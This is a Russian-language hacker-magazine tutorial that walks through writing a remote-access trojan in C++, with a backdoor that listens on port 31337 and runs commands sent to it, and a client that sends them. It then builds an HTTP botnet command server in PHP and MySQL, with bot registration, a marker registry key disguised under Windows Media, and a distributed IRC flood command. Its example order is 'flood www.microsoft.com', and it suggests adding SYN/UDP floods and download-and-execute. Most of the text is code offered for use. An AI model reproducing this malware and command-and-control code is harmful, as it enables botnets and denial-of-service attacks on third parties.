Вступление

Данная статья является продолжением моей статьи
«Зомби-сети:
Рассвет Мертвецов
". На мой email пришло много вопросов по поводу реализаций управления RAT. Так что я решил
рассказать об этом подробнее. Ну, во-первых, мы напишем с тобой простейший троян, работающий по архитектуре «клиент-сервер».
Во-вторых, напишем основу взаимодействия RAT с централизованным сервером по HTTP. IRC я рассматривать не стал так как
тема уже затерта до дыр и в сети можно найти достаточное количество реализаций IRC-ботов. Начнем с «клиент-сервера».

Клиент-Сервер

Еще несколько лет назад в сети было огромное
количество троянов, работающих по этой архитектуре, сейчас же все принялись
за DDoS-ботов, работающих по централизованной архитектуре. Не скажу точно с чем это связано, но, наверное, это сейчас
более востребовано, плюс ко всему на это сейчас зарабатывают немаленькие деньги. Back Orrifce, Lamer’s
Death, AntiLamer Backdoor — все это уже в прошлом. По моему мнению, любой троян, имеющий в себе функции RAT должен содержать в себе бэкдор,
работающий как раз по архитектуре «клиент-сервер». Писать мы будем на C++ и сервер и клиент. Начать, наверное, стоит с
сервера (:

— Как это будет работать

Прежде чем что-то писать, надо разобраться, что требуется от нашего бэкдора. А требуется от него следующее:

  1. Слушать заданный порт
  2. При подключении принимать команду
  3. Обработка команды (парсинг)
  4. Выполнение команды

Смотри: серверная часть трояна слушает заданный порт
и обработав команду выполняет ее. Клиентской частью мы будем
слать эти самые команды на заданный порт. Ясно?

— Пишем сервер

В реализации все очень просто. Писать будем на WinSock2 API, так, что не забудь заинклудить winsock2.h. 
Сначала создаем серверный сокет «s» и заполним его структуру: 

#define PORT 31337 // порт, на котором будет висеть бэкдор

// … заполним структуру сокета … //
SOCKET s; SOCKADDR_IN localaddr;
s = socket(AF_INET, SOCK_STREAM, IPPROTO_IP); //
создаем сокет
"s"

localaddr.sin_addr.s_addr = htonl(INADDR_ANY); 
localaddr.sin_family = AF_INET; 
localaddr.sin_port = htons(PORT); //
присваиваем
порт

bind(s, (struct sockaddr *)&localaddr, sizeof(localaddr)); // биндим 
listen(s, 0); //
и ставим на прослушку (:

// это будет наш сокет, принимающий клиентские запросы:
SOCKADDR_IN client_addr;
int client_addr_size=sizeof(client_addr);

Следующие действия будут выполняться при подключении к серверной части трояна клиентом. С помощью accept
подключаем клиента, а с помощью функции recv получаем данные от клиента:

while(client_socket = accept(s,(struct sockaddr *)&client_addr,&client_addr_size))
{
recv(client_socket,recvbuffer+strlen(recvbuffer),100,0); //
100 — количество возможных символов, 
//
принимаемых от клиента.

Отлично, теперь все принятые данные от клиента хранятся в recvbuffer. Остается пропарсить запрос и выполнить его.
Проще говоря, получая команду «message hacked _1nf3ct3d_by_1n3ct0r_» мы должны разделить ее на слова и затолкать их в
какую-нибудь переменную для последующей обработки. В качестве разделителя команд я использую пробел. Это не совсем удобно,
лучше использовать какой-нибудь другой символ, к примеру «*». Тогда клиент будет слать команду примерно так:

message*hacked*1nf3ct3d by 1nf3ct0r

По дальнейшему коду ты поймешь, что данная команда выводит MessageBox с сообщением 
«hacked» и заголовком «1nf3ct3d by 1nf3ct0r». Приступим к парсингу: 

char* cmd[32];
char* cmdparse = strtok(recvbuffer,»*»); //
символ «*» — разделение команд
for(int i = 0; t; cmdparse = strtok(NULL,»*»), i++){ cmd[i] = cmdparse; }

Как видишь, все «слова» команды записываются в массив «cmd». К примеру, получив команду
«message*hacked*1nf3ct3d by 1nf3ct0r» от клиента, данные в массиве располагаться будут так:

cmd[0] = message — сама команда (вывод сообщения)
cmd[1] = hacked — параметр 1 (сообщение)
cmd[2] = 1nf3ct3d by 1nf3ct0r — параметр 2 (заголовок)

Вот, собственно пример обработка команды
"message":

if (strcmp(cmd[0]], «message»)==0){ 
MessageBox(0,cmd[1],cmd[2],0);


Все, готово. Теперь на зараженной машине можно вывести любое сообщение. Рассмотрим второй пример:

// пример обработки команды
"monitor_off"

if (strcmp(cmd[0], «monitor_off»)==0)

SendMessage(HWND_BROADCAST,WM_SYSCOMMAND,SC_MONITORPOWER,-1);
strcpy(sendbuf,»\n have phun \n»); send(client_socket,sendbuf,strlen(sendbuf),0); }

После получения команды «monitor_off» на зараженной машине выключится монитор, а на клиент придет сообщение «have phun» :).
Думаю этого хватит и ты реализуешь другие фичи с помощью которых будет возможно полностью управлять зараженным компьютером.
Да, кстати. В файлах к статье найдешь полный исходный код серверной и клиентской части. Клиентскую часть я покажу сейчас как
писать… 

— Пишем клиент

Что должен уметь клиент? Ответ прост:

  1. Возможность отсылки команд
  2. Получение ответа от сервера

Реализуется это очень просто. Для начала снова создадим сокет и заполним его структуры

SOCKADDR_IN my_addr; FD_SET readfds; SOCKET main_socket;

if((main_socket=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))!=-1) // созадим сокет
{
readfds.fd_count=1;
readfds.fd_array[0]=main_socket;
my_addr.sin_family=AF_INET;
my_addr.sin_port=htons(31337); //
порт бэкдора
my_addr.sin_addr.s_addr=resolve(«localhost»); //
хост зараженной машины

Здесь встречается функция resolve которая занимается тем, что получает IP адрес машины по ее хосту. Вот код этой
функции: 

DWORD resolve(char *host)
{
DWORD ret = 0;
struct hostent * hp = gethostbyname(host);
if (!hp) ret = inet_addr(host);
if ((!hp)&&(ret == INADDR_NONE)) return 0;
if (hp != NULL) memcpy((void*)&ret, hp->h_addr,hp->h_length);
return ret;
}

Теперь приконнектимся к бэкдору и посылаем команду: 

printf(«[+] Connecting…»);
if(!(connect(main_socket,(const struct sockaddr*)&my_addr,sizeof(my_addr))))
{
printf(» done. \n\r\n\r»);

strcpy(buffer, «message*hacked*1nf3ct3d by 1nf3ct0r»); // в
буфер записываем комманду 

send(main_socket,buffer,strlen(buffer),0); //
и шлем ее серверу на обработку

Ну и получаем ответ от бэкдора, снова с помощью
recv.

int i = 0;
while(i = recv(main_socket,recvbuffer+strlen(recvbuffer),10000,0))
{
printf(recvbuffer);
strcpy(recvbuffer,»»);
}
} else { printf(» cant connect. \n\r\n\r»);

Вот, собственно, и все. И да, кстати. Чтобы инициализировать WinSock2API перед работой с сокетами пиши: 

WSADATA wsaData; WSAStartup(MAKEWORD(2,2),&wsaData);

Ну и чтобы закончить — WSACleanup(). 
Перейдем к управлению по HTTP. 

Управление по HTTP

Сейчас я расскажу о приеме команд ботами с HTTP, конечно же это будет централизованная сеть и к тому же данная система
позволит сделать распределение команд по ботам. Бота писать мы будем, конечно же, на C++, а скрипт взаимодействия
бота с сервером (получение команд и т.д) на PHP+MySQL. Вопреки слухам скажу, что сделать это очень просто, достаточно
немного времени, терпения и желания 🙂

— Как это все будет работать

Для начала следует определиться, как будет работать наша система. Рассмотрим два GET-запроса, передаваемых скрипту
нашим ботом:

  1. getcommand.php?addtodb=1&uid=1nf3ct0r &ip=127.0.0.1&os=1nf3ct3dOS
  2. getcommand.php?getcommand=1&uid=1nf3ct0r &ip=127.0.0.1&os=1nf3ct3dOS

Как видно из параметров, скрипт имеет два «режима». Первый — добавляет бота в БД (addtodb=1), второй (getcommand=1) —
выдает команду. Параметры также говорят сами за себя: 

  • UID — уникальное имя бота, оно генерится при первом запуске бота и записывается в реестр, а при следующих запусках
    просто копируется от туда.
  • IP — текущий IP-адрес машины. Без комментариев.
  • OS — дополнительная информация о системе. Как вариант — имя пользователя, компьютера и версия ОС. 

При каждом коннекте к базе данных информация
UID, IP, OS будет обновляться. Начнем.

— Заполняем БД

Создавай базу bots и таблицу botscommands в ней. Вот предлагаемая мной структура:

CREATE TABLE `botcommands` (
`uid` varchar(200) NOT NULL default », #
uid бота
`cmd` varchar(200) NOT NULL default », #
команда для бота
`ip` varchar(200) NOT NULL default », #
ip-адрес бота
`os` varchar(200) NOT NULL default », #
сведения о системе
FULLTEXT KEY `uid` (`uid`)
) ENGINE=MyISAM DEFAULT CHARSET=cp1251;

Здесь прибавляется поле CMD, в которой хранится команда для бота. И сразу же толкаем запись в нее, где:

UID = 1nf3ct0r; 
IP = 127.0.0.1;
OS = InfectedOS;
CMD = flood www.microsoft.com

Вот так будет выглядит SQL-запрос. 

INSERT INTO `botcommands` VALUES (‘1nf3ct0r’, ‘flood www.microsoft.com’, ‘127.0.0.1’, ‘InfectedOS’);

В файлах к статье ты найдешь дамп базы данных с структурой этой таблицы, как собственно и все исходники :).
Все. Теперь мы готовы к написанию скриптов. В качестве клиента к MySQL советую использовать phpMyAdmin или RST.MySQL
(rst.void.ru). 

— Пишем скрипты 

Испугался писать работу с базой данных MySQL на PHP? Ничего страшного 🙂 В PHP уже есть готовые функции для работы с ней.
Первая функция, которая нам понадобится — коннект к базе данных. Для этого существует функция
mysql_connect($host,$login,$password):

$SETS[‘mysql’][‘host’]=’localhost’;
$SETS[‘mysql’][‘login’]=’root’;
$SETS[‘mysql’][‘password’]=»;
$SETS[‘mysql’][‘db’]=’bots’;

$connect=mysql_connect($SETS[‘mysql’][‘host’],$SETS[‘mysql’][‘login’],$SETS[‘mysql’][‘password’]);
if ($connect===FALSE) die(‘Cant connect’);

mysql_select_db($SETS[‘mysql’][‘db’]);

Чтобы это все работало, в ‘host’ надо записать хост базы данных, в ‘login’ — логин, в ‘password’ — пароль, а в ‘db’ —
имя базы. А с помощью mysql_select_db($database) мы выбрали базу, которую указали ранее.
Следующая функция по сути не менее важная, чем коннект :)). Она нужна для выполнения SQL-запросов. Вот, смотри:

mysql_query($the_query);

Переменная $the_query — это любой SQL-запрос, который должен быть выполнен скриптом. Если у тебя есть проблемы с
SQL, то это не страшно. Я покажу тебе пару примеров составления запросов, так как без них никуда. Но это уже походу дела.
Посмотрел код? Теперь давай писать самый главный скрипт
взаимодействия бота с сервером, я буду называть его
getcommander.php. Ставь в начало кода Error_Reporting(0), чтобы он не выплевывал тупые notice, если таковые будут.
Окей, теперь давай напишем самый главный код и приступим к самому боту 🙂
Для начала объявим переменные:

$uid=$_GET[‘uid’];
$ip=$_GET[ip];
$os=$_GET[os];
$getcommand=$_GET[getcommand];
$addtodb=$_GET[addtodb];

Позволь напомнить тебе два запроса:

  1. getcommand.php?addtodb=1&uid=1nf3ct0r &ip=127.0.0.1&os=1nf3ct3dOS // добавляем в базу
    обратившись по данному линку мы увидим ответ: done
  2. getcommand.php?getcommand=1&uid=1nf3ct0r &ip=127.0.0.1&os=1nf3ct3dOS // получаем команду
    обратившись по данному линку мы увидим ответ: flood www.microsoft.com, а точнее значение поля
    CMD.

Все. Обрабатываем GetCommand [2]:

if ($getcommand == 1)
{
$result = mysql_query(«SELECT cmd FROM botcommands WHERE uid='».$uid.»‘»);
echo mysql_result($result,0);

// и обновляем все данные бота (IP,
OS):

mysql_query(«UPDATE botcommands SET ip='».$ip.»‘, os='».$os.»‘ WHERE uid=’".$uid."’");

Функция mysql_result() возвращает ответ от базы данных, а mysql_query() просто выполняет запрос — в этом главное
отличие. Теперь, собственно о SQL-запросах. Я расскажу совсем чуть-чуть, чтобы ты понял о чем идет речь, но советую
разобраться с этим получше, так как SQL, на самом деле очень полезная штука :). 

Запрос SELECT cmd FROM botcommands WHERE uid=<UID> возвратит значение поля cmd из таблицы botcommands принадлежащей uid = уид.
Результатом выполнения запроса SELECT cmd FROM botcommands WHERE uid=’h4x0r’ будет floot it.org.
Запрос UPDATE botcommands SET ip=<ip>, os=<os> WHERE uid=<uid> обновит значения полей. Пример:

UPDATE botcommands SET ip=31.33.73.00, os=some_info WHERE uid=1nf3ct0r

В результате запись из БД будет выглядеть так: 

1nf3ct0r 31.33.73.00 some_info hacktheplan8

Теперь рассмотрим кусок кода, который добавит бота в базу данных: 

} else if ($addtodb == 1)

echo «done»; 
mysql_query(«INSERT INTO botcommands (uid,ip,os) VALUES (‘».$uid.»‘,'».$ip.»‘,'».$os.»‘)»);
}

что касается echo «done» — то не убирай эту строку, она нам понадобится чуть позже, при проверке валидного добавления,
в базу. Но об этом позже. Все, можешь смело сохранять скрипт — он готов. Что же касается админки — пиши сам :). Пишем соответствующие функции для бота? 😉

— А теперь примемся за бота… 

Рассмотрим главную функцию бота: 

int main()
{
WSADATA wsaData; WSAStartup(MAKEWORD(2,2),&wsaData); //
инициализируем WinSock2 API

LONG sz; char buf[2]; HKEY key;

if (RegOpenKeyEx(HKEY_LOCAL_MACHINE, "Software\\Microsoft\\ Windows Media\\WMSDTT», 0, KEY_QUERY_VALUE, &key)==ERROR_SUCCESS)
{getcommand(«getcommand»);} else { getcommand(«addtobase»); }

WSACleanup();
return 0;
}

Фишка тут в следующем. Если бот уже был добавлен в базу, то создастся ключ в реестре по адресу
Software\Microsoft\Windows Media\WMSDTT. Если таковой не откроется, то мы добавим себя в базу, это опять таки походу статьи.
Функция getcommand имеет параметр _action: getcommand(char*
_action).

Сам _action двух типов:

  1. getcommand
    при этом параметре выполняется получение команды с вэба, через тот самый скрипт который мы писали. 
  2. addtobase
    бот добавляется в базу 🙂

Смотри код:

char *param;
if (_action == «addtobase»)
{
param = «?addtodb=1&uid=0x48k&ip=127.0.0.2&os=1nf3ct3dOS»;
} else if (_action = «getcommand»)
{
param = «?getcommand=1&uid=1nf3ct0r&ip=127.0.0.1&os=Windows%20XP%20SP2»;
}

Я не стал писать функцию получения инфы IP, OS и генерации UID — ты сам прекрасно с этим справишься, если захочешь. 
Отправку GET-пакета и получение ответа от сервера я писал на сокетах. Этот момент мы тоже не пропустим 🙂 

#define HOST «localhost» 
#define COMMAND «/z0mbie/getcommand.php» 

char sendbuffer[1024], recvbuffer[1024]; 
memset(recvbuffer,0,1024);
// Формируем GET-пакет:
strcpy(sendbuffer, «GET «);
strcat(sendbuffer, COMMAND);
strcat(sendbuffer, param);
strcat(sendbuffer, » HTTP/1.0\r\nHost: «);
strcat(sendbuffer, HOST);
strcat(sendbuffer, «\r\n\r\n»);

Создаем сокет, заполняем его структуры:

SOCKET s = socket(AF_INET,SOCK_STREAM,0);
SOCKADDR_IN webaddr;
webaddr.sin_addr.S_un.S_addr = resolve(HOST); //
ф-ию резолва я уже описывал 🙂
webaddr.sin_family = AF_INET;
webaddr.sin_port = htons(80);

Коннектимся к серверу и шлем пакет: 

if(connect(s, (struct sockaddr *)&webaddr,sizeof(SOCKADDR_IN))) return -1; 
send(s, sendbuffer, strlen(sendbuffer),0);
Sleep(2000);

Получаем ответ от вэб сервера: 

int i;
while(i = recv(s,recvbuffer+strlen(recvbuffer),1,0)) // получаем ответ
{if (i == SOCKET_ERROR) return -1;}

Парсим его: 

char *temp,*token;
for(int i = 0; recvbuffer[i]!=0; ++i) //
отбрасываем заголовок
{
if((recvbuffer[i]==’\r’)&&(recvbuffer[i+1]==’\n’)&&
(recvbuffer[i+2]==’\r’)&&(recvbuffer[i+3]==’\n’))
{temp = (char*)&recvbuffer[i] + 4;break;}
}
if(strcmp(temp,»»)==0) { temp = «no_commands»; }
token = strtok(temp, » \r\n»); //
делим файл на слова

char *serv,*chan,*times,*freq,*msg;
char *port;

Вот теперь, внимание! Помнишь тот самый echo «done» в php-скрипте? Это нам понадобится для того, чтобы проверить
реально ли добавился бот в базу. Например, если сервер упал 🙂 При получении строки «done» бот создает ключ в реестре,
по которому в дальнейшем ориентируется добавляться в базу или нет. 

if(strcmp(token,»done»)==0)
{
HKEY hk; RegCreateKey(HKEY_LOCAL_MACHINE, "Software\\Microsoft\\Windows Media\\WMSDTT», &hk);
}

А вот пример парсинга с получением семи параметров для некой функции ircflood — она есть в исходнике к статье, грубо
говоря это распределенный флудер IRC-серверов.
Вот парсинг: 

else if(strcmp(token,»ircflood»)==0)
{
for (int i = 0; i <6; i++){
token = strtok(NULL, » \r\n»);
if (i==0) { serv = token; } //
получаем 1ый параметр (сервер)
if (i==1) { port = token; } //
получаем 2ый параметр (порт)
if (i==2) { chan = token; } //
получаем 4ый параметр (канал)
if (i==3) { times = token; } //
получаем 5ый параметр (кол-во коннектов)
if (i==4) { freq = token; } //
получаем 6ый параметр (частоту отсыла)
if (i==5) { msg = token; } //
получаем 7ой параметр (мессагу)
}

Вот и все. Готово. Никто не мешает тебе добавить новые функции, такие как флуд HTTP/ICMP/UDP/SYN пакетами или скачку и
запуск любого EXE-файла.

Заключение

В этой статье мы очень подробно разобрали управление по HTTP и архитектуру «клиент-сервер». Готовые реализации с сорсами
ты найдешь в файлах к статье. В общем, если было что-то непонятно:

  1. Читай первую часть статьи.
  2. Разбирись с WinSock2 API и смотри файлы к статье.
  3. Пиши мне на мыло и учись юзать google.

На сегодня хватит. Все свободны 🙂

Исходники

Оставить мнение

Check Also

LUKS container vs Border Patrol Agent. Как уберечь свои данные, пересекая границу

Не секрет, что если ты собрался посетить такие страны как США или Великобританию то, прежд…